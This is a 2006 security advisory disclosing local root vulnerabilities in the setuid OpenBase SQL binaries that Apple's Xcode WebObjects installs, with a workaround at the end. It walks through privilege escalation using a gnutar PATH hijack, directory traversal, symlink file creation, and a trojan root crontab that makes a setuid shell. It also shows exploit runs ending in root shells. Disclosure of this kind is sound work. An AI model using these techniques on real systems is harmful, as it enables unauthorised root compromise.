DMA[2006-1016a] - 'Apple Xcode WebObjects / OpenBase SQL multiple vulnerabilities'
Author: Kevin Finisterre
Vendor(s): http://www.apple.com/ && http://www.openbase.com
Product: 'Apple Xcode for OSX <=2.2 (?) && OpenBase SQL <=10.0 (?)'
References:
http://www.digitalmunition.com/DMA[2006-1016a].txt
Description:
For over a decade, the OpenBase family of products have been enabling some of the most innovative business applications
at work today. With thousands of customers worldwide, OpenBase has become a brand that companies can rely on. OpenBase
customers include AT&T, Adobe Systems, Canon, Walt Disney, First National Bank of Chicago, MCI, Motorola, Apple, The
Sharper Image and many other innovators worldwide.
Unfortunately for some Xcode users Apple has chosen to rely on OpenBase technology to provide added functionality for
the WebObjects suite. By including OpenBase in the optional Xcode WebObjects package Apple has inadvertantly put users
at risk. Several setuid root binaries from OpenBase SQL are placed in /Library/OpenBase/bin during the installation of
WebObjects support for Xcode.
kevin-finisterres-computer:~ kf$ find /Library/OpenBase -perm -4000
/Library/OpenBase/bin/OpenBase
/Library/OpenBase/bin/openexec
/Library/OpenBase/bin/openinfo
/Library/OpenBase/bin/openmonitor
/Library/OpenBase/bin/registration
The OpenBase binary makes poor use of its setuid privileges when calling /Library/OpenBase/bin/gnutar. The gnutar binary
winds up being called while OpenBase is running with euid=0. Using the TAR_OPTIONS environment variable it is possible
to influence gnutar in a manor that forces it to call 'gzip' without specifying a path. By manipulating the PATH variable
an attacker is easily able to obtain root.
In order for this issue to be exploitable an attacker must first have control of an OpenBase database file. Due to a
directory transversal issue this requirement can be easily bypassed. An attacker simply needs to lay out the proper
structure for the database files in /tmp and reference them with ../../../../../../tmp/dbname. Placing files in /tmp is a
simple way out for most situations but any writable directory will do. With the fake database files in place the OpenBase
binary will happily hand over root via its gnutar helper.
kevin-finisterres-computer:~/Desktop kf$ ./Xcode_OpenBase_pwn.pl
Usage: ./Xcode_OpenBase_pwn.pl <target>
Targets:
0 . xcode_2-1.2_8m654_018213974.dmg
1 . OpenBase9.1.5_MacOSX.dmg
2 . OpenBase8.0.4_MacOSX.dmg
3 . OpenBase7.0.15_MacOSX.dmg
kevin-finisterres-computer:~/Desktop kf$ ./Xcode_OpenBase_pwn.pl 1
*** Target: OpenBase9.1.5_MacOSX.dmg /Library/OpenBase/bin/OpenBase
/Library/OpenBase/bin/gnutar: Removing leading `/' from member names
etc/master.passwd
/Library/OpenBase/bin/gnutar: Member names contain `..'
../../../../../../tmp/pwndertino.db/
../../../../../../tmp/pwndertino.db/encoding
../../../../../../tmp/pwndertino.db/notification
../../../../../../tmp/pwndertino.db/port
../../../../../../tmp/pwndertino.db/safe_sql_mode
../../../../../../tmp/pwndertino.db/simulationMode
../../../../../../tmp/pwndertino.db/threads
could not open simulation file
2006-10-15 16:10:53.024 OpenBase[932] server already running. Lock port found.
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)
The next issue with the OpenBase binary results in an attacker being able to place a root owned and world writable file anywhere on
the target file system. Again the end result is a local root compromise, however in this case however a bit of legwork is required
to get there.
When an OpenBase instance starts a log is written to /path/to/database/database.sim/simulation.sql. Unfortunately when this log file
is created OpenBase takes no objections to a symlink in place of the filename. A symlink can point to virtually anywhere on the
filesystem so an attacker has many options at his disposal. In most cases being able to create a file alone will not get you root
access. The proper umask and a crafty file location can make all the difference in the world in some instances.
Having the ability to place a root owned file with rw-rw-rw- permissions anywhere on the filesystem is quite powerful. On Linux based
systems writing to /etc/ld.so.preload has proven to be a reliable exploitation path to obtain root. Apple's OSX unfortunately has no
such facility to abuse. After some research the most expediant way I could come up with to obtain root via rw-rw-rw- file creation was
cron abuse.
On a vanilla install of OSX there are no tabs in /var/cron/tabs, nor is cron even running. In order to exploit the cron facilities we
must have the cron daemon running. Fortunately the crontab -e command kicks off /usr/sbin/cron after a valid crontab is saved.
kevin-finisterres-computer:~ kf$ ps -ax | grep cron
2340 p4 R+ 0:00.00 grep cron
kevin-finisterres-computer:~ kf$ ls /var/cron/tabs/
kevin-finisterres-computer:~ kf$ crontab -e
crontab: no crontab for kf - using an empty one
crontab: installing new crontab
kevin-finisterres-computer:~ kf$ ps -ax | grep cron
2344 ?? Ss 0:00.01 /usr/sbin/cron
2346 p4 R+ 0:00.00 grep cron
kevin-finisterres-computer:~ kf$ ls /var/cron/tabs/
kf
According to the man page 'cron checks each minute to see if its spool directory's modtime (or the modtime on /etc/crontab) has changed,
and if it has, cron will then examine the modtime on all crontabs and reload those which have changed. Thus cron need not be restarted
whenever a crontab file is modified'.
Wow how perfect is that! 1.) crontab -e to start cron 2.) create /var/cron/tabs/root 3.) wait 1 minute 4.) enjoy root shell.
kevin-finisterres-computer:~/Desktop kf$ ./Xcode_OpenBase_createfile.pl 0
*** Target: xcode_2-1.2_8m654_018213974.dmg /Library/OpenBase/bin/OpenBase
/Library/OpenBase/bin/gnutar: Member names contain `..'
../../../../../../tmp/pwndertino.db/
../../../../../../tmp/pwndertino.db/encoding
../../../../../../tmp/pwndertino.db/notification
../../../../../../tmp/pwndertino.db/port
../../../../../../tmp/pwndertino.db/safe_sql_mode
../../../../../../tmp/pwndertino.db/simulationMode
../../../../../../tmp/pwndertino.db/threads
2006-10-16 20:36:57.482 OpenBase[2419] server already running. Lock port found.
/var/cron/tabs/root should be rw-rw-rw ... enjoy!
installing trojan crontab for root
sit around and chill for a minute then check /Users/Shared/shX !
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)
sh-2.05b# cat /var/cron/tabs/root
* * * * * /usr/sbin/chown root: /Users/Shared/shX; /bin/chmod 4755 /Users/Shared/shX
Semi-insta root ala Apple's cron. Thanks guys! You may wanna look into that rw-rw-rw- cronjob thing, its probably not a good idea.
OpenBase seems to have a few other issues but at this point I haven't bothered to try exploiting it any further. One of the issues
involves a standard buffer overflow. I currently do not know if the overflow is exploitable.
kevin-finisterres-computer:/Library/OpenBase/bin kf$ ./OpenBase `perl -e 'print "A" x 3094'`
Segmentation fault
Starting program: /Library/OpenBase/bin/OpenBase `perl -e 'print "A" x 3094'`
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414141
0x90003168 in getenv ()
(gdb) x/i $pc
0x90003168 <getenv+116>: lbz r0,0(r3)
Workaround:
In a recent WebObjects update apple suggests to download the latest version of OpenBase directly from the vendor as a
workaround to an other Outstanding Issue. One side effect of installing the update is the removal of the setuid bit from
the OpenBase binaries. This effectively mitigates the issues mentioned above.
http://docs.info.apple.com/article.html?artnum=302797
...
RESOLUTION: Download the latest the latest J2SE 5.0-compliant OpenBase JDBC driver at:
http://www.openbase.com
If you do not have the ability to download a new copy of OpenBase it is reccomended that you remove the setuid bits from the
binaries by issuing a chmod -s command on each one.